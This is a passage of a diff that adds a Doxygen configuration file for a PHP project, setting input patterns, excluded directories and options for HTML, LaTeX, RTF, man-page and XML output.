+# For instance, some of the names that are used will be different. The list
+# of all members will be omitted, etc.
+
+OPTIMIZE_OUTPUT_FOR_C = NO
+
+# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java
+# sources only. Doxygen will then generate output that is more tailored for Java.
+# For instance, namespaces will be presented as packages, qualified scopes
+# will look different, etc.
+
+OPTIMIZE_OUTPUT_JAVA = NO
+
+# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to
+# include (a tag file for) the STL sources as input, then you should
+# set this tag to YES in order to let doxygen match functions declarations and
+# definitions whose arguments contain STL classes (e.g. func(std::string); v.s.
+# func(std::string) {}). This also make the inheritance and collaboration
+# diagrams that involve STL classes more complete and accurate.
+
+BUILTIN_STL_SUPPORT = NO
+
+# If you use Microsoft's C++/CLI language, you should set this option to YES to
+# enable parsing support.
+
+CPP_CLI_SUPPORT = NO
+
+# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC
+# tag is set to YES, then doxygen will reuse the documentation of the first
+# member in the group (if any) for the other members of the group. By default
+# all members of a group must be documented explicitly.
+
+DISTRIBUTE_GROUP_DOC = NO
+
+# Set the SUBGROUPING tag to YES (the default) to allow class member groups of
+# the same type (for instance a group of public functions) to be put as a
+# subgroup of that type (e.g. under the Public Functions section). Set it to
+# NO to prevent subgrouping. Alternatively, this can be done per class using
+# the \nosubgrouping command.
+
+SUBGROUPING = YES
+
+#---------------------------------------------------------------------------
+# Build related configuration options
+#---------------------------------------------------------------------------
+
+# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in
+# documentation are documented, even if no documentation was available.
+# Private class members and static file members will be hidden unless
+# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
+
+EXTRACT_ALL = YES
+
+# If the EXTRACT_PRIVATE tag is set to YES all private members of a class
+# will be included in the documentation.
+
+EXTRACT_PRIVATE = YES
+
+# If the EXTRACT_STATIC tag is set to YES all static members of a file
+# will be included in the documentation.
+
+EXTRACT_STATIC = YES
+
+# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs)
+# defined locally in source files will be included in the documentation.
+# If set to NO only classes defined in header files are included.
+
+EXTRACT_LOCAL_CLASSES = YES
+
+# This flag is only useful for Objective-C code. When set to YES local
+# methods, which are defined in the implementation section but not in
+# the interface are included in the documentation.
+# If set to NO (the default) only methods in the interface are included.
+
+EXTRACT_LOCAL_METHODS = NO
+
+# If this flag is set to YES, the members of anonymous namespaces will be extracted
+# and appear in the documentation as a namespace called 'anonymous_namespace{file}',
+# where file will be replaced with the base name of the file that contains the anonymous
+# namespace. By default anonymous namespace are hidden.
+
+EXTRACT_ANON_NSPACES = NO
+
+# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all
+# undocumented members of documented classes, files or namespaces.
+# If set to NO (the default) these members will be included in the
+# various overviews, but no documentation section is generated.
+# This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_MEMBERS = NO
+
+# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all
+# undocumented classes that are normally visible in the class hierarchy.
+# If set to NO (the default) these classes will be included in the various
+# overviews. This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_CLASSES = NO
+
+# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all
+# friend (class|struct|union) declarations.
+# If set to NO (the default) these declarations will be included in the
+# documentation.
+
+HIDE_FRIEND_COMPOUNDS = NO
+
+# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any
+# documentation blocks found inside the body of a function.
+# If set to NO (the default) these blocks will be appended to the
+# function's detailed documentation block.
+
+HIDE_IN_BODY_DOCS = NO
+
+# The INTERNAL_DOCS tag determines if documentation
+# that is typed after a \internal command is included. If the tag is set
+# to NO (the default) then the documentation will be excluded.
+# Set it to YES to include the internal documentation.
+
+INTERNAL_DOCS = NO
+
+# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate
+# file names in lower-case letters. If set to YES upper-case letters are also
+# allowed. This is useful if you have classes or files whose names only differ
+# in case and if your file system supports case sensitive file names. Windows
+# and Mac users are advised to set this option to NO.
+
+CASE_SENSE_NAMES = YES
+
+# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen
+# will show members with their full class and namespace scopes in the
+# documentation. If set to YES the scope will be hidden.
+
+HIDE_SCOPE_NAMES = NO
+
+# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen
+# will put a list of the files that are included by a file in the documentation
+# of that file.
+
+SHOW_INCLUDE_FILES = YES
+
+# If the INLINE_INFO tag is set to YES (the default) then a tag [inline]
+# is inserted in the documentation for inline members.
+
+INLINE_INFO = YES
+
+# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen
+# will sort the (detailed) documentation of file and class members
+# alphabetically by member name. If set to NO the members will appear in
+# declaration order.
+
+SORT_MEMBER_DOCS = YES
+
+# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the
+# brief documentation of file, namespace and class members alphabetically
+# by member name. If set to NO (the default) the members will appear in
+# declaration order.
+
+SORT_BRIEF_DOCS = NO
+
+# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be
+# sorted by fully-qualified names, including namespaces. If set to
+# NO (the default), the class list will be sorted only by class name,
+# not including the namespace part.
+# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES.
+# Note: This option applies only to the class list, not to the
+# alphabetical list.
+
+SORT_BY_SCOPE_NAME = NO
+
+# The GENERATE_TODOLIST tag can be used to enable (YES) or
+# disable (NO) the todo list. This list is created by putting \todo
+# commands in the documentation.
+
+GENERATE_TODOLIST = YES
+
+# The GENERATE_TESTLIST tag can be used to enable (YES) or
+# disable (NO) the test list. This list is created by putting \test
+# commands in the documentation.
+
+GENERATE_TESTLIST = YES
+
+# The GENERATE_BUGLIST tag can be used to enable (YES) or
+# disable (NO) the bug list. This list is created by putting \bug
+# commands in the documentation.
+
+GENERATE_BUGLIST = YES
+
+# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or
+# disable (NO) the deprecated list. This list is created by putting
+# \deprecated commands in the documentation.
+
+GENERATE_DEPRECATEDLIST= YES
+
+# The ENABLED_SECTIONS tag can be used to enable conditional
+# documentation sections, marked by \if sectionname ... \endif.
+
+ENABLED_SECTIONS =
+
+# The MAX_INITIALIZER_LINES tag determines the maximum number of lines
+# the initial value of a variable or define consists of for it to appear in
+# the documentation. If the initializer consists of more lines than specified
+# here it will be hidden. Use a value of 0 to hide initializers completely.
+# The appearance of the initializer of individual variables and defines in the
+# documentation can be controlled using \showinitializer or \hideinitializer
+# command in the documentation regardless of this setting.
+
+MAX_INITIALIZER_LINES = 30
+
+# Set the SHOW_USED_FILES tag to NO to disable the list of files generated
+# at the bottom of the documentation of classes and structs. If set to YES the
+# list will mention the files that were used to generate the documentation.
+
+SHOW_USED_FILES = YES
+
+# If the sources in your project are distributed over multiple directories
+# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy
+# in the documentation. The default is NO.
+
+SHOW_DIRECTORIES = NO
+
+# The FILE_VERSION_FILTER tag can be used to specify a program or script that
+# doxygen should invoke to get the current version for each file (typically from the
+# version control system). Doxygen will invoke the program by executing (via
+# popen()) the command <command> <input-file>, where <command> is the value of
+# the FILE_VERSION_FILTER tag, and <input-file> is the name of an input file
+# provided by doxygen. Whatever the program writes to standard output
+# is used as the file version. See the manual for examples.
+
+FILE_VERSION_FILTER =
+
+#---------------------------------------------------------------------------
+# configuration options related to warning and progress messages
+#---------------------------------------------------------------------------
+
+# The QUIET tag can be used to turn on/off the messages that are generated
+# by doxygen. Possible values are YES and NO. If left blank NO is used.
+
+QUIET = NO
+
+# The WARNINGS tag can be used to turn on/off the warning messages that are
+# generated by doxygen. Possible values are YES and NO. If left blank
+# NO is used.
+
+WARNINGS = YES
+
+# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings
+# for undocumented members. If EXTRACT_ALL is set to YES then this flag will
+# automatically be disabled.
+
+WARN_IF_UNDOCUMENTED = YES
+
+# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for
+# potential errors in the documentation, such as not documenting some
+# parameters in a documented function, or documenting parameters that
+# don't exist or using markup commands wrongly.
+
+WARN_IF_DOC_ERROR = YES
+
+# This WARN_NO_PARAMDOC option can be abled to get warnings for
+# functions that are documented, but have no documentation for their parameters
+# or return value. If set to NO (the default) doxygen will only warn about
+# wrong or incomplete parameter documentation, but not about the absence of
+# documentation.
+
+WARN_NO_PARAMDOC = NO
+
+# The WARN_FORMAT tag determines the format of the warning messages that
+# doxygen can produce. The string should contain the $file, $line, and $text
+# tags, which will be replaced by the file and line number from which the
+# warning originated and the warning text. Optionally the format may contain
+# $version, which will be replaced by the version of the file (if it could
+# be obtained via FILE_VERSION_FILTER)
+
+WARN_FORMAT = "$file:$line: $text "
+
+# The WARN_LOGFILE tag can be used to specify a file to which warning
+# and error messages should be written. If left blank the output is written
+# to stderr.
+
+WARN_LOGFILE =
+
+#---------------------------------------------------------------------------
+# configuration options related to the input files
+#---------------------------------------------------------------------------
+
+# The INPUT tag can be used to specify the files and/or directories that contain
+# documented source files. You may enter file names like "myfile.cpp" or
+# directories like "/usr/src/myproject". Separate the files or directories
+# with spaces.
+
+INPUT = ". "
+
+# This tag can be used to specify the character encoding of the source files that
+# doxygen parses. Internally doxygen uses the UTF-8 encoding, which is also the default
+# input encoding. Doxygen uses libiconv (or the iconv built into libc) for the transcoding.
+# See http://www.gnu.org/software/libiconv for the list of possible encodings.
+
+INPUT_ENCODING = UTF-8
+
+# If the value of the INPUT tag contains directories, you can use the
+# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
+# and *.h) to filter out the source-files in the directories. If left
+# blank the following patterns are tested:
+# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx
+# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py
+
+FILE_PATTERNS = *.php
+
+# The RECURSIVE tag can be used to turn specify whether or not subdirectories
+# should be searched for input files as well. Possible values are YES and NO.
+# If left blank NO is used.
+
+RECURSIVE = YES
+
+# The EXCLUDE tag can be used to specify files and/or directories that should
+# excluded from the INPUT source files. This way you can easily exclude a
+# subdirectory from a directory tree whose root is specified with the INPUT tag.
+
+EXCLUDE =
+
+# The EXCLUDE_SYMLINKS tag can be used select whether or not files or
+# directories that are symbolic links (a Unix filesystem feature) are excluded
+# from the input.
+
+EXCLUDE_SYMLINKS = NO
+
+# If the value of the INPUT tag contains directories, you can use the
+# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude
+# certain files from those directories. Note that the wildcards are matched
+# against the file with absolute path, so to exclude all test directories
+# for example use the pattern */test/*
+
+EXCLUDE_PATTERNS = */tests/* \
+ */benchmarks/* \
+ */docs/* \
+ */test-settings.php \
+ */configdoc/* \
+ */test-settings.php \
+ */maintenance/* \
+ */smoketests/* \
+ */library/standalone/* \
+ */.svn* \
+ */conf/*
+
+# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names
+# (namespaces, classes, functions, etc.) that should be excluded from the output.
+# The symbol name can be a fully qualified name, a word, or if the wildcard * is used,
+# a substring. Examples: ANamespace, AClass, AClass::ANamespace, ANamespace::*Test
+
+EXCLUDE_SYMBOLS =
+
+# The EXAMPLE_PATH tag can be used to specify one or more files or
+# directories that contain example code fragments that are included (see
+# the \include command).
+
+EXAMPLE_PATH =
+
+# If the value of the EXAMPLE_PATH tag contains directories, you can use the
+# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
+# and *.h) to filter out the source-files in the directories. If left
+# blank all files are included.
+
+EXAMPLE_PATTERNS = *
+
+# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be
+# searched for input files to be used with the \include or \dontinclude
+# commands irrespective of the value of the RECURSIVE tag.
+# Possible values are YES and NO. If left blank NO is used.
+
+EXAMPLE_RECURSIVE = NO
+
+# The IMAGE_PATH tag can be used to specify one or more files or
+# directories that contain image that are included in the documentation (see
+# the \image command).
+
+IMAGE_PATH =
+
+# The INPUT_FILTER tag can be used to specify a program that doxygen should
+# invoke to filter for each input file. Doxygen will invoke the filter program
+# by executing (via popen()) the command <filter> <input-file>, where <filter>
+# is the value of the INPUT_FILTER tag, and <input-file> is the name of an
+# input file. Doxygen will then use the output that the filter program writes
+# to standard output. If FILTER_PATTERNS is specified, this tag will be
+# ignored.
+
+INPUT_FILTER =
+
+# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern
+# basis. Doxygen will compare the file name with each pattern and apply the
+# filter if there is a match. The filters are a list of the form:
+# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further
+# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER
+# is applied to all files.
+
+FILTER_PATTERNS =
+
+# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using
+# INPUT_FILTER) will be used to filter the input files when producing source
+# files to browse (i.e. when SOURCE_BROWSER is set to YES).
+
+FILTER_SOURCE_FILES = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to source browsing
+#---------------------------------------------------------------------------
+
+# If the SOURCE_BROWSER tag is set to YES then a list of source files will
+# be generated. Documented entities will be cross-referenced with these sources.
+# Note: To get rid of all source code in the generated output, make sure also
+# VERBATIM_HEADERS is set to NO. If you have enabled CALL_GRAPH or CALLER_GRAPH
+# then you must also enable this option. If you don't then doxygen will produce
+# a warning and turn it on anyway
+
+SOURCE_BROWSER = YES
+
+# Setting the INLINE_SOURCES tag to YES will include the body
+# of functions and classes directly in the documentation.
+
+INLINE_SOURCES = NO
+
+# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct
+# doxygen to hide any special comment blocks from generated source code
+# fragments. Normal C and C++ comments will always remain visible.
+
+STRIP_CODE_COMMENTS = YES
+
+# If the REFERENCED_BY_RELATION tag is set to YES (the default)
+# then for each documented function all documented
+# functions referencing it will be listed.
+
+REFERENCED_BY_RELATION = YES
+
+# If the REFERENCES_RELATION tag is set to YES (the default)
+# then for each documented function all documented entities
+# called/used by that function will be listed.
+
+REFERENCES_RELATION = YES
+
+# If the REFERENCES_LINK_SOURCE tag is set to YES (the default)
+# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from
+# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will
+# link to the source code. Otherwise they will link to the documentstion.
+
+REFERENCES_LINK_SOURCE = YES
+
+# If the USE_HTAGS tag is set to YES then the references to source code
+# will point to the HTML generated by the htags(1) tool instead of doxygen
+# built-in source browser. The htags tool is part of GNU's global source
+# tagging system (see http://www.gnu.org/software/global/global.html). You
+# will need version 4.8.6 or higher.
+
+USE_HTAGS = NO
+
+# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen
+# will generate a verbatim copy of the header file for each class for
+# which an include is specified. Set to NO to disable this.
+
+VERBATIM_HEADERS = YES
+
+#---------------------------------------------------------------------------
+# configuration options related to the alphabetical class index
+#---------------------------------------------------------------------------
+
+# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index
+# of all compounds will be generated. Enable this if the project
+# contains a lot of classes, structs, unions or interfaces.
+
+ALPHABETICAL_INDEX = NO
+
+# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then
+# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns
+# in which this list will be split (can be a number in the range [1..20])
+
+COLS_IN_ALPHA_INDEX = 5
+
+# In case all classes in a project start with a common prefix, all
+# classes will be put under the same header in the alphabetical index.
+# The IGNORE_PREFIX tag can be used to specify one or more prefixes that
+# should be ignored while generating the index headers.
+
+IGNORE_PREFIX =
+
+#---------------------------------------------------------------------------
+# configuration options related to the HTML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_HTML tag is set to YES (the default) Doxygen will
+# generate HTML output.
+
+GENERATE_HTML = YES
+
+# The HTML_OUTPUT tag is used to specify where the HTML docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `html' will be used as the default path.
+
+HTML_OUTPUT = html
+
+# The HTML_FILE_EXTENSION tag can be used to specify the file extension for
+# each generated HTML page (for example: .htm,.php,.asp). If it is left blank
+# doxygen will generate files with .html extension.
+
+HTML_FILE_EXTENSION = .html
+
+# The HTML_HEADER tag can be used to specify a personal HTML header for
+# each generated HTML page. If it is left blank doxygen will generate a
+# standard header.
+
+HTML_HEADER =
+
+# The HTML_FOOTER tag can be used to specify a personal HTML footer for
+# each generated HTML page. If it is left blank doxygen will generate a
+# standard footer.
+
+HTML_FOOTER =
+
+# The HTML_STYLESHEET tag can be used to specify a user-defined cascading
+# style sheet that is used by each HTML page. It can be used to
+# fine-tune the look of the HTML output. If the tag is left blank doxygen
+# will generate a default style sheet. Note that doxygen will try to copy
+# the style sheet file to the HTML output directory, so don't put your own
+# stylesheet in the HTML output directory as well, or it will be erased!
+
+HTML_STYLESHEET =
+
+# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes,
+# files or namespaces will be aligned in HTML using tables. If set to
+# NO a bullet list will be used.
+
+HTML_ALIGN_MEMBERS = YES
+
+# If the GENERATE_HTMLHELP tag is set to YES, additional index files
+# will be generated that can be used as input for tools like the
+# Microsoft HTML help workshop to generate a compressed HTML help file (.chm)
+# of the generated HTML documentation.
+
+GENERATE_HTMLHELP = NO
+
+# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML
+# documentation will contain sections that can be hidden and shown after the
+# page has loaded. For this to work a browser that supports
+# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox
+# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari).
+
+HTML_DYNAMIC_SECTIONS = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can
+# be used to specify the file name of the resulting .chm file. You
+# can add a path in front of the file if the result should not be
+# written to the html output directory.
+
+CHM_FILE =
+
+# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can
+# be used to specify the location (absolute path including file name) of
+# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run
+# the HTML help compiler on the generated index.hhp.
+
+HHC_LOCATION =
+
+# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag
+# controls if a separate .chi index file is generated (YES) or that
+# it should be included in the master .chm file (NO).
+
+GENERATE_CHI = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag
+# controls whether a binary table of contents is generated (YES) or a
+# normal table of contents (NO) in the .chm file.
+
+BINARY_TOC = NO
+
+# The TOC_EXPAND flag can be set to YES to add extra items for group members
+# to the contents of the HTML help documentation and to the tree view.
+
+TOC_EXPAND = NO
+
+# The DISABLE_INDEX tag can be used to turn on/off the condensed index at
+# top of each HTML page. The value NO (the default) enables the index and
+# the value YES disables it.
+
+DISABLE_INDEX = NO
+
+# This tag can be used to set the number of enum values (range [1..20])
+# that doxygen will group on one line in the generated HTML documentation.
+
+ENUM_VALUES_PER_LINE = 4
+
+# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be
+# generated containing a tree-like index structure (just like the one that
+# is generated for HTML Help). For this to work a browser that supports
+# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+,
+# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are
+# probably better off using the HTML help feature.
+
+GENERATE_TREEVIEW = YES
+
+# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be
+# used to set the initial width (in pixels) of the frame in which the tree
+# is shown.
+
+TREEVIEW_WIDTH = 250
+
+#---------------------------------------------------------------------------
+# configuration options related to the LaTeX output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will
+# generate Latex output.
+
+GENERATE_LATEX = NO
+
+# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `latex' will be used as the default path.
+
+LATEX_OUTPUT = latex
+
+# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be
+# invoked. If left blank `latex' will be used as the default command name.
+
+LATEX_CMD_NAME = latex
+
+# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to
+# generate index for LaTeX. If left blank `makeindex' will be used as the
+# default command name.
+
+MAKEINDEX_CMD_NAME = makeindex
+
+# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact
+# LaTeX documents. This may be useful for small projects and may help to
+# save some trees in general.
+
+COMPACT_LATEX = NO
+
+# The PAPER_TYPE tag can be used to set the paper type that is used
+# by the printer. Possible values are: a4, a4wide, letter, legal and
+# executive. If left blank a4wide will be used.
+
+PAPER_TYPE = a4wide
+
+# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX
+# packages that should be included in the LaTeX output.
+
+EXTRA_PACKAGES =
+
+# The LATEX_HEADER tag can be used to specify a personal LaTeX header for
+# the generated latex document. The header should contain everything until
+# the first chapter. If it is left blank doxygen will generate a
+# standard header. Notice: only use this tag if you know what you are doing!
+
+LATEX_HEADER =
+
+# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated
+# is prepared for conversion to pdf (using ps2pdf). The pdf file will
+# contain links (just like the HTML output) instead of page references
+# This makes the output suitable for online browsing using a pdf viewer.
+
+PDF_HYPERLINKS = YES
+
+# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of
+# plain latex in the generated Makefile. Set this option to YES to get a
+# higher quality PDF documentation.
+
+USE_PDFLATEX = YES
+
+# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode.
+# command to the generated LaTeX files. This will instruct LaTeX to keep
+# running if errors occur, instead of asking the user for help.
+# This option is also used when generating formulas in HTML.
+
+LATEX_BATCHMODE = NO
+
+# If LATEX_HIDE_INDICES is set to YES then doxygen will not
+# include the index chapters (such as File Index, Compound Index, etc.)
+# in the output.
+
+LATEX_HIDE_INDICES = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the RTF output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output
+# The RTF output is optimized for Word 97 and may not look very pretty with
+# other RTF readers or editors.
+
+GENERATE_RTF = NO
+
+# The RTF_OUTPUT tag is used to specify where the RTF docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `rtf' will be used as the default path.
+
+RTF_OUTPUT = rtf
+
+# If the COMPACT_RTF tag is set to YES Doxygen generates more compact
+# RTF documents. This may be useful for small projects and may help to
+# save some trees in general.
+
+COMPACT_RTF = NO
+
+# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated
+# will contain hyperlink fields. The RTF file will
+# contain links (just like the HTML output) instead of page references.
+# This makes the output suitable for online browsing using WORD or other
+# programs which support those fields.
+# Note: wordpad (write) and others do not support links.
+
+RTF_HYPERLINKS = NO
+
+# Load stylesheet definitions from file. Syntax is similar to doxygen's
+# config file, i.e. a series of assignments. You only have to provide
+# replacements, missing definitions are set to their default value.
+
+RTF_STYLESHEET_FILE =
+
+# Set optional variables used in the generation of an rtf document.
+# Syntax is similar to doxygen's config file.
+
+RTF_EXTENSIONS_FILE =
+
+#---------------------------------------------------------------------------
+# configuration options related to the man page output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_MAN tag is set to YES (the default) Doxygen will
+# generate man pages
+
+GENERATE_MAN = NO
+
+# The MAN_OUTPUT tag is used to specify where the man pages will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `man' will be used as the default path.
+
+MAN_OUTPUT = man
+
+# The MAN_EXTENSION tag determines the extension that is added to
+# the generated man pages (default is the subroutine's section .3)
+
+MAN_EXTENSION = .3
+
+# If the MAN_LINKS tag is set to YES and Doxygen generates man output,
+# then it will generate one additional man file for each entity
+# documented in the real man page(s). These additional files
+# only source the real man page, but without them the man command
+# would be unable to find the correct page. The default is NO.
+
+MAN_LINKS = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the XML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_XML tag is set to YES Doxygen will
+# generate an XML file that captures the structure of
+# the code including all documentation.
+
+GENERATE_XML = NO
+
+# The XML_OUTPUT tag is used to specify where the XML pages will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `xml' will be used as the default path.
+
+XML_OUTPUT = xml
+
+# The XML_SCHEMA tag can be used to specify an XML schema,
+# which can be used by a validating XML parser to check the
+# syntax of the XML files.
+
+XML_SCHEMA =
+
+# The XML_DTD tag can be used to specify an XML DTD,
+# which can be used by a validating XML parser to check the
+# syntax of the XML files.
+
+XML_DTD =
+
+# If the XML_PROGRAMLISTING tag is set to YES Doxygen will
+# dump the program listings (including syntax highlighting
+# and cross-referencing information) to the XML output. Note that
+# enabling this will significantly increase the size of the XML output.
+
+XML_PROGRAMLISTING = YES
+
+#---------------------------------------------------------------------------
+# configuration options for the AutoGen Definitions output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will
+# generate an AutoGen Definitions (see autogen.sf.net) file
+# that captures the structure of the code including all
+# documentation. Note that this feature is still experimental
+# and incomplete at the moment.
+
+GENERATE_AUTOGEN_DEF = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the Perl module output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_PERLMOD tag is set to YES Doxygen will
+# generate a Perl module file that captures the structure of
+# the code including all documentation. Note that this
+# feature is still experimental and incomplete at the
+# moment.
+
+GENERATE_PERLMOD = NO
+
+# If the PERLMOD_LATEX tag is set to YES Doxygen will generate
+# the necessary Makefile rules, Perl scripts and LaTeX code to be able
+# to generate PDF and DVI output from the Perl module output.
+
+PERLMOD_LATEX = NO
+
+# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be
+# nicely formatted so it can be parsed by a human reader. This is useful
+# if you want to understand what is going on. On the other hand, if this
+# tag is set to NO the size of the Perl module output will be much smaller
+# and Perl will parse it just the same.
+
+PERLMOD_PRETTY = YES
+
+# The names of the make variables in the generated doxyrules.make file
+# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX.
+# This is useful so different doxyrules.make files included by the same
+# Makefile don't overwrite each other's variables.
+
+PERLMOD_MAKEVAR_PREFIX =
+
+#---------------------------------------------------------------------------
+# Configuration options related to the preprocessor
+#---------------------------------------------------------------------------
+
+# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will
+# evaluate all C-preprocessor directives found in the sources and include
+# files.
+
+ENABLE_PREPROCESSING = YES
+
+# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro
+# names in the source code. If set to NO (the default) only conditional
+# compilation will be performed. Macro expansion can be done in a controlled
+# way by setting EXPAND_ONLY_PREDEF to YES.
+
+MACRO_EXPANSION = NO
+
+# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES
+# then the macro expansion is limited to the macros specified with the
+# PREDEFINED and EXPAND_AS_DEFINED tags.
+
+EXPAND_ONLY_PREDEF = NO
+
+# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files
+# in the INCLUDE_PATH (see below) will be search if a #include is found.
+
+SEARCH_INCLUDES = YES
+
+# The INCLUDE_PATH tag can be used to specify one or more directories that
+# contain include files that are not input files but should be processed by
+# the preprocessor.
+
+INCLUDE_PATH =
+
+# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard
+# patterns (like *.h and *.hpp) to filter out the header-files in the
+# directories. If left blank, the patterns specified with FILE_PATTERNS will
+# be used.
+
+INCLUDE_FILE_PATTERNS =
+
+# The PREDEFINED tag can be used to specify one or more macro names that
+# are defined before the preprocessor is started (similar to the -D option of
+# gcc). The argument of the tag is a list of macros of the form: name
+# or name=definition (no spaces). If the definition and the = are
+# omitted =1 is assumed. To prevent a macro definition from being
+# undefined via #undef or recursively expanded use the := operator
+# instead of the = operator.
+
+PREDEFINED =
+
+# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then
+# this tag can be used to specify a list of macro names that should be expanded.
+# The macro definition that is found in the sources will be used.
+# Use the PREDEFINED tag if you want to use a different macro definition.
+
+EXPAND_AS_DEFINED =
+
+# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then
+# doxygen's preprocessor will remove all function-like macros that are alone
+# on a line, have an all uppercase name, and do not end with a semicolon. Such
+# function macros are typically used for boiler-plate code, and will confuse
+# the parser if not removed.
+
+SKIP_FUNCTION_MACROS = YES
+
+#---------------------------------------------------------------------------
+# Configuration::additions related to external references
+#---------------------------------------------------------------------------
+
+# The TAGFILES option can be used to specify one or more tagfiles.
+# Optionally an initial location of the external documentation
+# can be added for each tagfile. The format of a tag file without
+# this location is as follows:
+# TAGFILES = file1 file2 ...
+# Adding location for the tag files is done as follows:
+# TAGFILES = file1=loc1 "file2 = loc2" ...
+# where "loc1" and "loc2" can be relative or absolute paths or
+# URLs. If a location is present for each tag, the installdox tool
+# does not have to be run to correct the links.
+# Note that each tag file must have a unique name
+# (where the name does NOT include the path)
+# If a tag file is not located in the directory in which doxygen
+# is run, you must also specify the path to the tagfile here.
+
+TAGFILES =
+
+# When a file name is specified after GENERATE_TAGFILE, doxygen will create
+# a tag file that is based on the input files it reads.
+
+GENERATE_TAGFILE =
+
+# If the ALLEXTERNALS tag is set to YES all external classes will be listed
+# in the class index. If set to NO only the inherited external classes
+# will be listed.
+
+ALLEXTERNALS = NO
+
+# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed
+# in the modules index. If set to NO, only the current project's groups will
+# be listed.
+
+EXTERNAL_GROUPS = YES
+
+# The PERL_PATH should be the absolute path and name of the perl script
